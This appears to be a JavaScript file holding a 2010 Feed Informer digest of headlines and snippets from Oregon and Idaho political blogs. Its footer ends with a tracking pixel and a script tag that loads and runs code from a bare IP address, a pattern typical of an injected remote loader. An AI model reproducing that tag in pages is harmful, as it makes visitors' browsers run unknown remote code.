var digesttext = "<!-- Header --><!-- Items --><b><a href=\"http://www.ridenbaugh.com/index.php/2010/03/19/the-idaho-rundown/\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">The Idaho rundown</a></b><br />No great shockers in the final closeout of candidate filings in Idaho &#8211; which ended at 5 p.m. today. The..<br /><a href=\"http://www.ridenbaugh.com\">Ridenbaugh Press</a><br /><small>14 hours ago</small><br /><br/ ><b><a href=\"http://www.blueoregon.com/2010/03/center-on-budget-on-health-care-bill.html\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">Center on Budget on Health Care Bill</a></b><br />In response to my friends (and my mother!) who think we should just kill the health care bill: The Center on B..<br /><a href=\"http://www.blueoregon.com/\">BlueOregon</a><br /><small>15 hours ago</small><br /><br/ ><b><a href=\"http://www.ridenbaugh.com/index.php/2010/03/19/a-bashee-of-poor-choice/\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">A bashee of poor choice</a></b><br />Among other considerations: What can possibly be the political benefit from bashing an 11-year-old boy who has..<br /><a href=\"http://www.ridenbaugh.com\">Ridenbaugh Press</a><br /><small>16 hours ago</small><br /><br/ ><b><a href=\"http://www.blueoregon.com/2010/03/encouraging-sign-from-wu-hat-tip-to-dc-dems-finger-wag-at-kitzhaber.html\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">Encouraging Sign From Wu; Hat Tip to D.C. Dems; Finger Wag at Kitzhaber</a></b><br />OK, so now there\'s a press release from Wu that makes it sound like he may have been holding out for something..<br /><a href=\"http://www.blueoregon.com/\">BlueOregon</a><br /><small>17 hours ago</small><br /><br/ ><b><a href=\"http://www.blueoregon.com/2010/03/orsen-huffman-comes-out-against-oregon-manufacturing-jobs-and-in-favor-of-wasting-energy.html\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">OR-SEN: Huffman comes out against Oregon manufacturing jobs and in favor of wasting energy.</a></b><br />Over at NW Republican, they went crazy when they learned that Ron Saxton - \'06 Republican candidate for Govern..<br /><a href=\"http://www.blueoregon.com/\">BlueOregon</a><br /><small>20 hours ago</small><br /><br/ ><b><a href=\"http://www.blueoregon.com/2010/03/the-long-hot-summer-in-the-klamath-basin.html\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">The long, hot summer in the Klamath Basin</a></b><br />Earlier this week citing ongoing drought and lower water conditions, Governor Ted Kulongoski declared a drough..<br /><a href=\"http://www.blueoregon.com/\">BlueOregon</a><br /><small>20 hours ago</small><br /><br/ ><b><a href=\"http://www.blueoregon.com/2010/03/call-congressman-wu-.html\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">Call Congressman Wu </a></b><br />David Wu voted for George Bush\'s Medicare prescription drug bill. But he\'s not sure how he\'ll vote on Barack O..<br /><a href=\"http://www.blueoregon.com/\">BlueOregon</a><br /><small>21 hours ago</small><br /><br/ ><b><a href=\"http://www.blueoregon.com/2010/03/my-entry.html\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">Experts agree</a></b><br /><br /><a href=\"http://www.blueoregon.com/\">BlueOregon</a><br /><small>1 day ago</small><br /><br/ ><b><a href=\"http://www.blueoregon.com/2010/03/epa-formulates-new-ozone-standards.html\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">EPA formulates new Ozone Standards</a></b><br />By Catherine Thomasson, MD of Portland, Oregon. Catherine is the Chair for Environmental Work Group of the Ore..<br /><a href=\"http://www.blueoregon.com/\">BlueOregon</a><br /><small>1 day ago</small><br /><br/ ><b><a href=\"http://www.blueoregon.com/2010/03/griffin-all-i-am-saying-is-give-huff-a-chance.html\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">Griffin: All I am saying, is give Huff a chance....</a></b><br />(With apologies to John Lennon) In her latest piece, Oregonian columnist Anna Griffin makes the case that Oreg..<br /><a href=\"http://www.blueoregon.com/\">BlueOregon</a><br /><small>2 days ago</small><br /><br/ ><b><a href=\"http://feedproxy.google.com/~r/blogspot/NWRepublican/~3/UJFCKlEBd0Y/shameless-proud-moments.html\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">Shameless Proud Moments</a></b><br />Grade: FreshmanPosition: 1B/OFOther Sports: Cross Country, BasketballFavorite Player: Ichiro Suzuki <br /><a href=\"http://nwrepublican.blogspot.com/\">NW Republican</a><br /><small>2 days ago</small><br /><br/ ><b><a href=\"http://www.ridenbaugh.com/index.php/2010/03/18/the-magic-of-private-prisons/\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">The magic of private prisons</a></b><br /> Back in August 2007, Idaho Governor C.L. &#8220;Butch&#8221; Otter held forth on the idea of coping with risi..<br /><a href=\"http://www.ridenbaugh.com\">Ridenbaugh Press</a><br /><small>2 days ago</small><br /><br/ ><b><a href=\"http://feedproxy.google.com/~r/blogspot/NWRepublican/~3/9NmBg41um7s/why-is-ron-saxton-jeld-wen-supporting.html\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">Why is Ron Saxton, Jeld-Wen supporting Ron Wyden?</a></b><br />A couple of guesses... Ok time\'s up. First of all it should come as no surprise to folks that the liberal Repu..<br /><a href=\"http://nwrepublican.blogspot.com/\">NW Republican</a><br /><small>2 days ago</small><br /><br/ ><b><a href=\"http://feedproxy.google.com/~r/blogspot/NWRepublican/~3/4OzAsBcndjw/attn-all-reporters.html\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">Attn All Reporters</a></b><br />Wow, this is simply one of the best interviews with a politician you have ever seen. Baier is polite, fair and..<br /><a href=\"http://nwrepublican.blogspot.com/\">NW Republican</a><br /><small>2 days ago</small><br /><br/ ><b><a href=\"http://www.ridenbaugh.com/index.php/2010/03/17/resume-man-issues-man/\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">Resume man, issues man</a></b><br /> Denny Heck Craig Pridemore Democratic activists around the country have been about as worked up, in both dire..<br /><a href=\"http://www.ridenbaugh.com\">Ridenbaugh Press</a><br /><small>3 days ago</small><br /><br/ ><b><a href=\"http://www.blueoregon.com/2010/03/crc-so-odot-how-about-keeping-that-promise-you-made.html\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">CRC: So ODOT, how about keeping that promise you made?</a></b><br />Willamette Week: In the wake of a recent letter from the governors of Oregon and Washington urging the project..<br /><a href=\"http://www.blueoregon.com/\">BlueOregon</a><br /><small>3 days ago</small><br /><br/ ><b><a href=\"http://feedproxy.google.com/~r/blogspot/NWRepublican/~3/xGKPobtXmkU/nancy-pelosi-calls-women-knows-she.html\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">Nancy Pelosi calls the Women, knows she needs Stupak</a></b><br />So Nancy Pelosi has called all the Female-Democrat-Congresswomen. Speaker Nancy Pelosi (D-Calif.) is asking al..<br /><a href=\"http://nwrepublican.blogspot.com/\">NW Republican</a><br /><small>3 days ago</small><br /><br/ ><b><a href=\"http://www.blueoregon.com/2010/03/is-it-time-to-discuss-the-capital-gains-tax.html\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">Is it time to discuss the capital gains tax?</a></b><br />By Steve Packer of Newberg, Oregon. Steve describes himself as \"a retired computer programmer and sports fishi..<br /><a href=\"http://www.blueoregon.com/\">BlueOregon</a><br /><small>3 days ago</small><br /><br/ ><b><a href=\"http://feedproxy.google.com/~r/blogspot/NWRepublican/~3/VUfhoDrEcik/regime-change-in-israel-but-not-in-iran.html\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">Regime Change in Israel, but not in Iran?!</a></b><br />Writing in the liberal New Republic, Yossi Klein Halevi notes how the Obama administration\'s attacks on Israel..<br /><a href=\"http://nwrepublican.blogspot.com/\">NW Republican</a><br /><small>3 days ago</small><br /><br/ ><b><a href=\"http://feedproxy.google.com/~r/blogspot/NWRepublican/~3/w0ZmRU_0_qc/pelosiobama-care-backers-busted-for.html\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">Pelosi/Obama-care backers BUSTED for lying about latest poster gal</a></b><br />&nbsp;&lt;--- Note \"Code Red\" numbers widget on the left hand column. The Democratics (of course they are prov..<br /><a href=\"http://nwrepublican.blogspot.com/\">NW Republican</a><br /><small>3 days ago</small><br /><br/ ><b><a href=\"http://feedproxy.google.com/~r/blogspot/NWRepublican/~3/UnOrPe3KJy0/obama-political-threat-or-promise.html\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">Obama political threat or promise?</a></b><br />Welcome to the New Prog Slaughterhouse Cartoon: (from redstate.com) <br /><a href=\"http://nwrepublican.blogspot.com/\">NW Republican</a><br /><small>3 days ago</small><br /><br/ ><b><a href=\"http://www.loadedorygun.net/diary/2153/the-oregon-news-limerick-challenge-on-kpoj\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">The Oregon News Limerick Challenge on KPOJ</a></b><br /> Special this week: TJ works without a net! &nbsp;Carl chants those three magic words! &nbsp;Christine kisses ..<br /><a href=\"http://www.loadedorygun.net\">Loaded Orygun - Front Page</a><br /><small>3 days ago</small><br /><br/ ><b><a href=\"http://www.ridenbaugh.com/index.php/2010/03/16/f-35-yes-or-no/\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">F-35, yes or no</a></b><br />Idaho public officials have been jumping at the opportunity to pull in F-35 military aircraft, which would be ..<br /><a href=\"http://www.ridenbaugh.com\">Ridenbaugh Press</a><br /><small>3 days ago</small><br /><br/ ><b><a href=\"http://www.blueoregon.com/2010/03/teabaggery-the-fringe-and-the-dangerous.html\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">Teabaggery: the fringe and the dangerous</a></b><br />A few days ago, State Representatives Val Hoyle and Nancy Nathanson along with State Senator Chris Edwards hel..<br /><a href=\"http://www.blueoregon.com/\">BlueOregon</a><br /><small>4 days ago</small><br /><br/ ><b><a href=\"http://www.blueoregon.com/2010/03/unemployment-benefits-a-welcome-bridge-over-troubled-waters.html\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">Unemployment benefits: A welcome bridge over troubled waters</a></b><br />By Alan Moore of Portland, Oregon. Alan describes himself as \"an unemployed union organizer who spends his day..<br /><a href=\"http://www.blueoregon.com/\">BlueOregon</a><br /><small>4 days ago</small><br /><br/ ><b><a href=\"http://www.blueoregon.com/2010/03/wyden-tax-plan.html\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">Wyden\'s plan to simplify your taxes and end Western civilization as we know it</a></b><br />It\'s easy to get overwhelmed when you try and study proposals for tax reform. All those \"breaks and loopholes ..<br /><a href=\"http://www.blueoregon.com/\">BlueOregon</a><br /><small>4 days ago</small><br /><br/ ><b><a href=\"http://www.ridenbaugh.com/index.php/2010/03/15/or-gov-an-opening-round/\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">OR gov: An opening round</a></b><br /> gov The two main Demcratic candidates for Oregon governor, former Governor John Kitzhaber and former Secretar..<br /><a href=\"http://www.ridenbaugh.com\">Ridenbaugh Press</a><br /><small>4 days ago</small><br /><br/ ><b><a href=\"http://www.ridenbaugh.com/index.php/2010/03/15/the-idaho-roster/\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">The Idaho roster</a></b><br />Monday candidate filings for office in Idaho yielded a few nuggets worth note here: There are now two Democrat..<br /><a href=\"http://www.ridenbaugh.com\">Ridenbaugh Press</a><br /><small>5 days ago</small><br /><br/ ><b><a href=\"http://www.ridenbaugh.com/index.php/2010/03/15/baird-odds-are-on-board-with-bill/\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">Baird: Odds are, on board with bill</a></b><br /> Brian Baird Outgoing Washington Democratic Representative Brian Baird was among the Democratic &#8220;no&#822..<br /><a href=\"http://www.ridenbaugh.com\">Ridenbaugh Press</a><br /><small>5 days ago</small><br /><br/ ><b><a href=\"http://www.blueoregon.com/2010/03/taking-bill-bradbury-and-his-2-billion-seriously.html\" TARGET=\"_blank\" style=\"font-size: 11pt; text-decoration: none;\">Taking Bill Bradbury, and His $2 Billion, Seriously</a></b><br />I hereby apologize to Bill Bradbury and his fans for posts seeming dismissive of Bill and his proposal to rais..<br /><a href=\"http://www.blueoregon.com/\">BlueOregon</a><br /><small>5 days ago</small><br /><br/ ><!-- Footer --><div class=\"fdpoweredby\" style=\"text-align: right; font-size: 10px; font-family: sans-serif\"><a style=\"color: #888\" href=\"http://feed.informer.com\">Powered by Feed Informer</a></div><script type=\"text/javascript\">/* <![CDATA[ */document.write(\"<img src=\'http://hits.informer.com/log.php?id=44&amp;r=\"+ Math.round(100000 * Math.random()) + \"\' />\");/* ]]> */</script><script type=\"text/javascript\" src=\"http://208.88.226.83/log_e.php?id=HYIUNOGEYY&amp;r=0.715396893425485\"></script>";
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